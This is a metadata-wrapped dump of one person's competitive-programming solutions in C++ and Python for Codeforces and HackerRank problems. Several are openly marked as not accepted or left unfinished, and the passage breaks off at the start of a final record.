"text": "// https://www.hackerrank.com/contests/inzva-algorithm-competition-summer-camp-2019-qualification/challenges/array-difference-1\n\n#include <cmath>\n#include <iostream>\n#include <algorithm>\n\nint main() {\n\tint n;\n\tint m;\n\tint answer = 0;\n\tstd::cin >> n;\n\tint a[n];\n\tint b[n];\n\tint diff[n];\n\n\tfor (int i=0; i<n; i++) std::cin >> a[i];\n\tfor (int i=0; i<n; i++) std::cin >> b[i];\n\tfor (int i=0; i<n; i++) diff[i] = a[i]-b[i];\n\tstd::sort (diff, diff+n);\n\t//for (int i=0; i<n; i++) std::cout << diff[i];\n\tm = -diff[n/2];\n\tfor (int i=0; i<n; i++) answer += abs(diff[i]+m);\n\tstd::cout << answer;\n}\n\n"
},
{
"alpha_fraction": 0.3987341821193695,
"alphanum_fraction": 0.5632911324501038,
"avg_line_length": 34.11111068725586,
"blob_id": "0dfec82f8a037d45d784a15841eb65cb1cc993e8",
"content_id": "229f276d50c699f3e3a8e0e1cfd319397cd5303b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 948,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 27,
"path": "/inzva acsc19/practice problems/sonsuzDiyar.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/sonsuzlar-diyari\n\n#include <iostream>\n\nint main(){\n\tlong long int n,t;\n\tstd::cin >> t;\n\tfor (long long int i=0;i<t;i++){\n\t\tstd::cin >> n;\n\t\tif (n==1) std::cout << 1;\n\t\telse if (n>=2 && n<=3) std::cout << 2;\n\t\telse if (n>=4 && n<=9) std::cout << 3;\n\t\telse if (n>=10 && n<=33) std::cout << 4;\n\t\telse if (n>=34 && n<=153) std::cout << 5;\n\t\telse if (n>=154 && n<=873) std::cout << 6;\n\t\telse if (n>=874 && n<=5913) std::cout << 7;\n\t\telse if (n>=5914 && n<=46233) std::cout << 8;\n\t\telse if (n>=46234 && n<=409113) std::cout << 9;\n\t\telse if (n>=409114 && n<=4037913) std::cout << 10;\n\t\telse if (n>=4037914 && n<=43954713) std::cout << 11;\n\t\telse if (n>=43954714 && n<=522956313) std::cout << 12;\n\t\telse if (n>=522956314 && n<=6749977313) std::cout << 13;\n\t\telse if (n>=6749977314 && n<=93928267313) std::cout << 14;\n\t\telse std::cout << 15;\n\t\tstd::cout << std::endl;\n\t}\n}\n"
},
{
"alpha_fraction": 0.503164529800415,
"alphanum_fraction": 0.515031635761261,
"avg_line_length": 23.80392074584961,
"blob_id": "fedddac6156b8ba72398d400fff58fb25fca35ab",
"content_id": "df90d70d80a8e2f6e6d1f7d47cb88721a8825278",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1264,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 51,
"path": "/inzva acsc19/practice problems/kernel.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/solut\n\n#include <iostream>\n#include <vector>\n#include <queue>\n\nstd::vector< std::vector<long int> > g;\nstd::vector<long long int> times;\nstd::vector<long long int> pathTimes;\nstd::vector<long int> incoming;\nstd::queue<long int> Q;\n\nint main(){\n long int n;\n long int m;\n\n std::cin >> n >> m;\n\n g.resize(n);\n times.resize(n);\n pathTimes.resize(n,0);\n incoming.resize(n,0);\n\n for(long int i=0;i<n;i++) std::cin >> times[i];\n \n for(long int i=0;i<n;i++){\n long long int depNo;\n long int file;\n std::cin >> depNo >> file;\n incoming[file-1] += depNo;\n if (depNo == 0) Q.push(file-1);\n for(long long int j=0;j<depNo;j++){\n long int depOn;\n std::cin >> depOn;\n g[depOn-1].push_back(file-1);\n } \n }\n\n while (!Q.empty()){\n long int u = Q.front();\n Q.pop();\n for (long int j : g[u]) {\n incoming[j]--;\n if (pathTimes[j] <= (pathTimes[u] + times[u])) {\n pathTimes[j] = pathTimes[u] + times[u];\n }\n if (incoming[j] == 0) Q.push(j);\n }\n }\n std::cout << pathTimes[m-1] + times[m-1];\n}"
},
{
"alpha_fraction": 0.5029154419898987,
"alphanum_fraction": 0.5408163070678711,
"avg_line_length": 20.46875,
"blob_id": "72fcc35859790017213dad6d1b8af0ed178039b5",
"content_id": "464f1c795cf4c5e4c9ecbbabfad1f6a2159001d6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 686,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 32,
"path": "/codeforces/1203/1203B.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1203/problem/B\n\n#include <iostream>\n#include <algorithm>\n#include <vector>\n\nint main(){\n\tint q;\n\tstd::cin >> q;\n\tfor(int i=0;i<q;i++){\n\t\tint n;\n\t\tstd::cin >> n;\n\t\tstd::vector<int> sticks(4*n);\n\t\tfor(int j=0;j<4*n;j++){\n\t\t\tstd::cin >> sticks[j];\n\t\t}\n\t\tstd::sort(sticks.begin(), sticks.end());\n\t\tlong int area = sticks[0] * sticks[4*n-1];\n\t\tbool flag = true;\n\t\tfor(int j=1;j<=n;j++){\n\t\t\tif (sticks[2*j-2] == sticks[2*j-1] &&\n\t\t\t\tsticks[4*n-2*j] == sticks[4*n-2*j+1] &&\n\t\t\t\tsticks[2*j-2] * sticks[4*n-2*j+1] == area) continue;\n\t\t\telse {\n\t\t\t\tflag = false;\n\t\t\t\tbreak;\n\t\t\t};\n\t\t}\n\t\tflag ? std::cout << \"YES\" : std::cout << \"NO\";\n\t\tstd::cout << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.5419222712516785,
"alphanum_fraction": 0.5521472096443176,
"avg_line_length": 22.33333396911621,
"blob_id": "3fd6ed7a29392610b1b32fd415c459414fb51ca8",
"content_id": "43b69f864786315d44f6587a816a6d737928c0ac",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 489,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 21,
"path": "/inzva acsc19/practice problems/photo.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/inzva-final-contest-photo\n\n#include <algorithm>\n#include <iostream>\n\nint main(){\n long long n;\n std::cin >> n;\n long long ori[n];\n long long exp[n];\n long long diff = 0;\n for(long long i=0;i<n;i++) {\n std::cin >> ori[i];\n exp[i] = ori[i];\n }\n std::sort(exp, exp+n);\n for(long long i=0;i<n;i++) {\n if (ori[i] != exp[i]) diff++;\n }\n std::cout << diff;\n}"
},
{
"alpha_fraction": 0.4473244249820709,
"alphanum_fraction": 0.47324416041374207,
"avg_line_length": 22.41176414489746,
"blob_id": "f08f70dcfabb3a56ad41f2707fcca6b50f1e9a58",
"content_id": "bf5a7df4f19a48315c2e8172b7ceb7c638587063",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1196,
"license_type": "no_license",
"max_line_length": 106,
"num_lines": 51,
"path": "/inzva acsc19/practice problems/kWants.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/what-does-kayacan-want\n\n#include <iostream>\n#include <vector>\n#include <queue>\n\nstd::vector<long int> visited;\n\nvoid bfs(std::vector< std::vector<long int> >& G,long int v, long int s) {\n std::queue <long int> Q;\n Q.push(s);\n visited[s] = 0;\n while (!Q.empty()){\n long int u = Q.front();\n visited[u] = 1;\n Q.pop();\n for (long int i=0; i<v; i++){ \n if (visited[i]==-1 && G[u][i] == 1){ \n Q.push(i); \n visited[i] = 0;\n } \n } \n }\n return;\n}\n\n\nint main(){\n long int v;\n long int e;\n std::cin >> v >> e;\n visited.resize(v);\n for(long int i=0;i<v;i++) visited[i] = -1;\n std::vector<std::vector<long int> > G(v,std::vector<long int>(v,0));\n\n long int v1, v2;\n for (long int i=0; i<e; i++){\n std::cin >> v1 >> v2;\n G[v1-1][v2-1] = 1;\n G[v2-1][v1-1] = 1;\n }\n bfs(G, v, 0);\n for(long int i=0;i<v;i++) {\n if (visited[i] == -1) {\n std::cout << \"Not Connected\";\n return 0;\n }\n }\n std::cout << \"Connected\";\n return 0;\n}\n\n\n"
},
{
"alpha_fraction": 0.5305882096290588,
"alphanum_fraction": 0.551764726638794,
"avg_line_length": 18.340909957885742,
"blob_id": "52fdacdec5ada1e04aa8f6ac4cfc3400ea57502d",
"content_id": "fc7eb52f48c2a2d1959987c07bc823b5f45254e7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 850,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 44,
"path": "/codeforces/1186/1186C.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1186/problem/C\n\n#include <iostream>\n#include <string>\n#include <cstdio>\n#include <vector>\n\nint main(){\n\tstd::ios::sync_with_stdio(false);\n\tstd::string a,b;\n\tstd::cin >> a >> b;\n\tlong int bSum = 0;\n\tlong int al = a.length();\n\tlong int bl = b.length();\n\tstd::vector<long int> c(al);\n\tstd::vector<long int> diff(al);\n\tstd::vector<long int> cc;\n\tlong int evC = 0;\n\n\tfor (long int i=0;i<bl;i++){\n\t\tif (b[i]=='1') bSum++;\n\t}\n\n\tlong int sum = 0;\n\tfor (long int i=0;i<al;i++){\n\t\tif (a[i]=='1') sum++;\n\t\tc[i] = sum;\n\t\t//std::cout << c[i];\n\t}\n\n\tlong int times = al - bl + 1; \n\tcc.push_back(c[bl-1]);\n\t//std::cout << c[bl-1];\n\n\tfor (long int i=0;i<times-1;i++){\n\t\t//std::cout << std::endl << c[bl+i]-c[i] << std::endl;\n\t\tcc.push_back(c[bl+i]-c[i]);\n\t}\n\tfor(long int i : cc){\n\t\tif (i%2 == bSum%2) evC++;\n\t}\n\n\tstd::cout << evC;\n}"
},
{
"alpha_fraction": 0.6129032373428345,
"alphanum_fraction": 0.6253101825714111,
"avg_line_length": 18.238094329833984,
"blob_id": "352106474a93361f577bf97cb9d29eb0c5b86d82",
"content_id": "f4cadf27d1c0f16f0e3f5af3e5bce082b9152d6e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 403,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 21,
"path": "/inzva acsc19/practice problems/superDigit.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/challenges/recursive-digit-sum/problem\n\n#include <iostream>\n#include <string>\n\nlong long superDigit(std::string s, long int k){\n\tlong long sum = 0;\n\tfor(char c : s){\n\t\tsum += (c - '0');\n\t}\n\tsum *= k;\n\tif (sum > 10) return superDigit(std::to_string(sum),1); \n\telse return sum;\n}\n\nint main(){\n\tstd::string s;\n\tlong int k;\n\tstd::cin >> s >> k;\n\tstd::cout << superDigit(s,k);\n}"
},
{
"alpha_fraction": 0.4545454680919647,
"alphanum_fraction": 0.4834710657596588,
"avg_line_length": 23.299999237060547,
"blob_id": "6e55edc02dc16e1bf17a873afefc879bb267d8fd",
"content_id": "ee614831bff1c809e9e3e42ad539848e45b64e09",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 242,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 10,
"path": "/metu cclub kodtü2/e1.py",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "N, a, b = tuple(map(int, input().split()))\nS = list(map(int, input().split()))\n\nfor i in range(N):\n s1 = S[i-a:i]\n s2 = S[i+1:i+b+1]\n x = S[i]\n if all(x < s for s in s1) and all(x < s for s in s2):\n print(i+1)\n break"
},
{
"alpha_fraction": 0.4319634735584259,
"alphanum_fraction": 0.46666666865348816,
"avg_line_length": 18.92727279663086,
"blob_id": "bb78c28735bdaecd029ae6bff2ad46a3547e47cb",
"content_id": "1356a0e4f952e37dea68f6972d65f764d0fb8b1c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1095,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 55,
"path": "/codeforces/1207/1207B.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// // https://codeforces.com/contest/1207/problem/B\n\n#include <iostream>\n#include <vector>\n\nint main(){\n\tint n,m;\n\tstd::cin >> n >> m;\n\tstd::vector< std::vector<int> > A(n, std::vector<int> (m));\n\tstd::vector< std::vector<int> > B(n, std::vector<int> (m,0));\n\tstd::vector< std::vector<int> > mapping(n-1, std::vector<int> (m-1,0));\n\tbool isZero = true;\n\tint mCount = 0;\n\tfor(int i=0;i<n;i++){\n\t\tfor(int j=0;j<m;j++){\n\t\t\tstd::cin >> A[i][j];\n\t\t\tif (A[i][j]) isZero = false;\n\t\t}\n\t}\n\tfor(int i=0;i<n-1;i++){\n\t\tfor(int j=0;j<m-1;j++){\n\t\t\tif ( A[i][j] && A[i][j+1] && A[i+1][j] && A[i+1][j+1]) {\n\t\t\t\tmapping[i][j] = 1;\n\t\t\t\tmCount++;\n\t\t\t\tB[i][j] = 1;\n\t\t\t\tB[i][j+1] = 1;\n\t\t\t\tB[i+1][j] = 1;\n\t\t\t\tB[i+1][j+1] = 1;\n\t\t\t}\n\t\t}\n\t}\n\n\tbool flag = true;\n\tfor(int i=0;i<n;i++){\n\t\tfor(int j=0;j<m;j++){\n\t\t\tif (A[i][j] != B[i][j]){\n\t\t\t\tflag = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!flag) break;\n\t}\n\n\tif (!flag) std::cout << -1;\n\telse {\n\t\tstd::cout << mCount << std::endl;\n\t\tfor(int i=0;i<n-1;i++){\n\t\t\tfor(int j=0;j<m-1;j++){\n\t\t\t\tif (mapping[i][j]==1){\n\t\t\t\t\tstd::cout << i+1 << \" \" << j+1 << std::endl;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}"
},
{
"alpha_fraction": 0.47858017683029175,
"alphanum_fraction": 0.5379437208175659,
"avg_line_length": 16.771739959716797,
"blob_id": "6742fccf8e82ecd8f03f2e649c20b815d21ce2f9",
"content_id": "41356e85505e3d73a8e761cd9929e0e1400fbdaf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1634,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 92,
"path": "/codeforces/1183/1183G.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1183/problem/G -- not accepted\n\n#include <iostream>\n#include <map>\n#include <utility>\n#include <vector>\n#include <algorithm>\n\nstd::map<int,int> ct1;\nstd::map<int,int> ct2;\nstd::map<int,int> ct3;\nstd::vector<int> cc1;\nstd::vector<int> cc2;\nstd::vector<int> cc3;\n\nint main(){\n\tint q;\n\tstd::cin >> q;\n\tfor(int i=0;i<q;i++){\n\t\t\n\t\tint n;\n\t\tstd::cin >> n; \n\t\tcc1.clear();\n\t\tcc2.clear();\n\t\tct1.clear();\n\t\tct2.clear();\n\n\t\tfor(int j=0;j<n;j++){\n\t\t\tint type, want;\n\t\t\tstd::cin >> type >> want;\n\t\t\tif (want) ct1[type]++;\n\t\t\telse ct3[type]++;\n\t\t\tct2[type]++;\n\t\t}\n\t\t\n\t\tfor(const std::pair<int,int>& c1 : ct1){\n\t\t\tcc1.push_back(c1.second);\n\t\t}\n\n\t\tfor(const std::pair<int,int>& c2 : ct2){\n\t\t\tcc2.push_back(c2.second);\n\t\t}\n\n\t\tfor(const std::pair<int,int>& c3 : ct3){\n\t\t\tcc3.push_back(c3.second);\n\t\t}\n\n\t\tstd::sort(cc1.begin(),cc1.end());\n\t\tstd::reverse(cc1.begin(),cc1.end());\n\n\t\tstd::sort(cc2.begin(),cc2.end());\n\t\tstd::reverse(cc2.begin(),cc2.end());\n\n\t\tstd::sort(cc3.begin(),cc3.end());\n\t\tstd::reverse(cc3.begin(),cc3.end());\n\n\t\tint l1 = cc1.size();\n\t\tint max1 = cc1[0];\n\t\tlong int sum1 = cc1[0];\n\n\t\tfor(int j=1;j<l1;j++){\n\t\t\tint cur1 = cc1[j];\n\t\t\tif (max1 <= 0) break;\n\t\t\tif (cur1 >= max1) {\n\t\t\t\tsum1 += (max1-1);\n\t\t\t\tmax1 = max1-1;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsum1 += cur1;\n\t\t\t\tmax1 = cur1;\n\t\t\t}\n\t\t}\n\n\t\tint l2 = cc2.size();\n\t\tint max2 = cc2[0];\n\t\tlong int sum2 = cc2[0];\n\n\t\tfor(int j=1;j<l2;j++){\n\t\t\tint cur2 = cc2[j];\n\t\t\tif (max2 <= 0) break;\n\t\t\tif (cur2 >= max2) {\n\t\t\t\tsum2 += (max2-1);\n\t\t\t\tmax2 = max2-1;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsum2 += cur2;\n\t\t\t\tmax2 = cur2;\n\t\t\t}\n\t\t}\n\t\tstd::cout << sum2 << \" \" << sum1 << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.4923291504383087,
"alphanum_fraction": 0.509065568447113,
"avg_line_length": 16.950000762939453,
"blob_id": "8a18b80fbb5b404b8b650a5e3c93ce2e463b2427",
"content_id": "9efe8d4f3e0207f8a827e1c6ddaa9f5be45986e5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 717,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 40,
"path": "/codeforces/1206/1206A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1206/problem/A\n\n#include <iostream>\n#include <vector>\n#include <map>\n#include <algorithm>\n\nint main(){\n\tstd::map<int,int> A;\n\tstd::map<int,int> B;\n\tint an, bn;\n\tstd::cin >> an;\n\tstd::vector<int> av(an);\n\tfor(int i=0;i<an;i++) {\n\t\tint a;\n\t\tstd::cin >> a;\n\t\tA[a]++;\n\t\tav[i] = a;\n\t}\n\tstd::cin >> bn;\n\tstd::vector<int> bv(bn);\n\tfor(int i=0;i<bn;i++) {\n\t\tint b;\n\t\tstd::cin >> b;\n\t\tB[b]++;\n\t\tbv[i] = b;\n\t}\n\tstd::sort(av.begin(), av.end());\n\tstd::sort(bv.begin(), bv.end());\n\tint aa,bb;\n\tfor(int i=0;i<an;i++){\n\t\tfor(int j=0;j<bn;j++){\n\t\t\taa = av[i];\n\t\t\tbb = bv[j];\n\t\t\tif (A[aa+bb]==0 && B[aa+bb]==0) break; \n\t\t}\n\t\tif (A[aa+bb]==0 && B[aa+bb]==0) break; \n\t}\n\tstd::cout << aa << \" \" << bb;\n}"
},
{
"alpha_fraction": 0.5106382966041565,
"alphanum_fraction": 0.5396518111228943,
"avg_line_length": 15.709677696228027,
"blob_id": "8af8e7ebc1f11cca203c46712495e634540189dd",
"content_id": "7b3d20b2db811b9221c81cea6569023936020f1c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 517,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 31,
"path": "/codeforces/1206/1206B.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1206/problem/B\n\n#include <iostream>\n#include <vector>\n#include <math.h>\n\nint main(){\n\tlong int n;\n\tlong long int coin = 0;\n\tlong int minusC = 0;\n\tlong int zeroC = 0;\n\tstd::cin >> n;\n\tstd::vector<long long int> a(n);\n\tfor(long int i=0;i<n;i++){\n\t\tstd::cin >> a[i];\n\t}\n\tfor(long int i=0;i<n;i++){\n\t\tif (a[i]>=0){\n\t\t\tif (a[i]==0) zeroC++;\n\t\t\tcoin += abs(a[i]-1);\n\t\t}\n\t\telse {\n\t\t\tcoin += abs(a[i]+1);\n\t\t\tminusC++;\n\t\t}\n\t}\n\tif (minusC%2) {\n\t\tif (!zeroC) coin += 2;\n\t}\n\tstd::cout << coin;\n}"
},
{
"alpha_fraction": 0.49827587604522705,
"alphanum_fraction": 0.5206896662712097,
"avg_line_length": 15.54285717010498,
"blob_id": "a3a48af772c2d2893f7a3bff6cd74f8ee51adc81",
"content_id": "6f1e7dc319fef206865df5a56211585256485fd1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 580,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 35,
"path": "/codeforces/1166/1166D.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1166/problem/D --not accepted\n\n#include <iostream>\n#include <math.h>\n\nvoid calcy(int a, int b, int m){\n\n\tint seq[50];\n\tseq[0] = a;\n\tint count = a;\n\tm = round(sqrt(m));\n\tfor (int i=1; i<b; i++){\n\t\tseq[i] = count;\n\t\tcount += seq[i];\n\t}\n\tif (seq[m-1] <= b) {\n\t\tseq[m-1] = b;\n\t\tfor (int i=0; i<m; i++) std::cout << seq[i];\n\t}\n\telse std::cout << \"-1\";\n\treturn;\n}\n\nint main(){\n\tint tests;\n\tstd::cin >> tests;\n\tfor (int t=0; t<tests; t++) {\n\t\tint a,b,m;\n\t\tstd::cin >> a;\n\t\tstd::cin >> b;\n\t\tstd::cin >> m;\n\t\tcalcy(a,b,m);\n\t\tstd::cout << std::endl;\n\t}\n}\n\n"
},
{
"alpha_fraction": 0.4357723593711853,
"alphanum_fraction": 0.45121949911117554,
"avg_line_length": 25.7608699798584,
"blob_id": "7bbfe9cd9f1fb3c08291ee5f661d6367c77c8185",
"content_id": "8b19b479d6748c1f3344accbd199d9ede9b21e30",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1230,
"license_type": "no_license",
"max_line_length": 110,
"num_lines": 46,
"path": "/inzva acsc19/practice problems/dijkDegil.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/dijk-degil-dijkstra\n\n#include <iostream>\n#include <vector>\n#include <queue>\n\nvoid bfs(int s, std::vector < std::vector<int> >& g, std::vector<int>& distance, std::vector<bool>& visited) {\n std::queue <int> Q;\n Q.push(s);\n distance[s] = 0;\n visited[s] = true; \n while (!Q.empty()){\n int u = Q.front();\n Q.pop();\n for (int i : g[u]){ \n if (!visited[i]){ \n visited[i] = true;\n distance[i] = distance[u]+1;\n Q.push(i);\n } \n } \n }\n return;\n}\n\nint main(){\n int t,n,m,a,b;\n std::cin >> t;\n for (int i=0;i<t;i++){\n std::cin >> n >> m >> a >> b;\n std::vector<int> d(n,0);\n std::vector<bool> v(n,false);\n std::vector < std::vector<int> > g(n);\n for(int j=0;j<m;j++){\n int v1,v2;\n std::cin >> v1 >> v2;\n g[v1-1].push_back((v2-1));\n }\n \n bfs(a-1,g,d,v);\n int path = d[b-1];\n if (path!=0) std::cout << path << std::endl;\n else std::cout << \"No Path!\" << std::endl;\n if (i!=t-1) std::cout << \"--\" << std::endl;\n }\n}"
},
{
"alpha_fraction": 0.4838709533214569,
"alphanum_fraction": 0.49120235443115234,
"avg_line_length": 20.34375,
"blob_id": "aa95f84dd7ccfc1db058ea5062e7463f2ec8bf63",
"content_id": "920dc0dbf898ec224e41acb61f4373a993797062",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 682,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 32,
"path": "/inzva acsc19/practice problems/milk.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "//https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/we-want-milk\n\n#include <iostream>\n#include <map>\n\nint main(){\n int n,m;\n long int a,b;\n long int max = 0;\n long long int spend = 0;\n std::cin >> n >> m;\n std::map <long int, long int> milk;\n for(long int i=0;i<n;i++){\n \tif (a > max) max = a;\n std::cin >> a >> b;\n milk[a]+=b;\n }\n for(std::pair <const long int,long int> &i:milk){\n \tif (m) {\n \t\tif (m <= i.second){\n \t\t\tspend += m*i.first;\n \t\t m -= m;\n \t\t}\n \t\telse {\n \t\t\tspend += i.second*i.first;\n \t\t\tm -= i.second;\n \t\t}\n \t}\n \telse break;\n }\n std::cout << spend;\n}"
},
{
"alpha_fraction": 0.5024793148040771,
"alphanum_fraction": 0.5454545617103577,
"avg_line_length": 18.54838752746582,
"blob_id": "623d072a282c56073807d0658ab4d582261bb20b",
"content_id": "adb7789de1704899b9a8e7de90eaf75daf56f7f3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 605,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 31,
"path": "/codeforces/1200/1200A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1200/problem/A\n\n#include <iostream>\n#include <string>\n\nint main(){\n\tstd::string events;\n\tint n;\n\tstd::cin >> n >> events;\n\tint room[10] = {0};\n\tint left = 0;\n\tint right = 9;\n\tfor (int i=0;i<n;i++){\n\t\tif (events[i]=='L') {\n\t\t\twhile(room[left]) left++;\n\t\t\troom[left] = 1;\n\t\t\tleft++;\n\t\t}\n\t\telse if (events[i]=='R') {\n\t\t\twhile(room[right]) right--;\n\t\t\troom[right] = 1;\n\t\t\tright--;\n\t\t}\n\t\telse {\n\t\t\troom[events[i]-48] = 0;\n\t\t\tif (events[i]-48 < left) left = events[i]-48;\n\t\t\tif (events[i]-48 > right) right = events[i]-48;\n\t\t}\n\t}\n\tfor (int i=0;i<10;i++) std::cout << room[i];\n}"
},
{
"alpha_fraction": 0.5014244914054871,
"alphanum_fraction": 0.5213675498962402,
"avg_line_length": 17.473684310913086,
"blob_id": "81e6efa466d2956691495c959dfd65548af8fc83",
"content_id": "e358b2f12e0da9a8fe4ab0fe004099af2998e3df",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 351,
"license_type": "no_license",
"max_line_length": 100,
"num_lines": 19,
"path": "/inzva acsc19/practice problems/partition.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/array-triplets-1\n\n#include <iostream>\n\n\nint main() {\n int n;\n long int sum = 0;\n std::cin >> n;\n long int arr[n];\n for (int i=0;i<n;i++){\n std::cin >> arr[i];\n sum += arr[i];\n } \n if (sum%3) std::cout << 0;\n else {\n \t\n }\n}\n"
},
{
"alpha_fraction": 0.5744680762290955,
"alphanum_fraction": 0.5845464468002319,
"avg_line_length": 20.285715103149414,
"blob_id": "9f96144434a55ecc54b71c7f52c92743e714331d",
"content_id": "311269766bcc80f1ddda0d3dd8a0742a90c05079",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 893,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 42,
"path": "/inzva grand contest 2019/j.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// time limit exceeded - actually a segment tree problem\n// problems are not available online\n// scoreboard: https://algotester.com/en/Contest/ViewScoreboard/50195\n\n#include <iostream>\n#include <stack>\n#include <string>\n#include <cstdio>\n\nbool isBalanced(std::string& p, int start, int end) {\n\tint l = p.length();\n\tstd::stack <char> s;\n\tfor (int i=0; i<l; i++){\n\t\tint checker = i;\n\t\tif (i>=start && i<=end) \n\t\t\tchecker = start+end-i;\n\t\tif (p[checker] == ')'){\n\t\t\tif (!s.empty() && s.top() == '(') {\n\t\t\t\ts.pop();\n\t\t\t}\n\t\t\telse return false;\n\t\t}\n\t\telse s.push(p[checker]);\n\t}\n\tif (s.empty()) return true;\n\telse return false;\n}\n\n\nint main(){\n\tstd::ios::sync_with_stdio(false);\n\tstd::string p;\n\tstd::cin >> p;\n\tint t;\n\tstd::cin >> t;\n\tfor(int i=0;i<t;i++){\n\t\tint s, e;\n\t\tstd::cin >> s >> e;\n\t\tif (isBalanced(p, s-1, e-1)) std::cout << \"YES\" << std::endl;\n\t\telse std::cout << \"NO\" << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.39322033524513245,
"alphanum_fraction": 0.4661017060279846,
"avg_line_length": 17.40625,
"blob_id": "2a769023c033488ecf4c6189eb090779c038ce3c",
"content_id": "cf532b30e2d2c915471f957a1fcde6c1395615fa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 590,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 32,
"path": "/codeforces/1166/1166A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
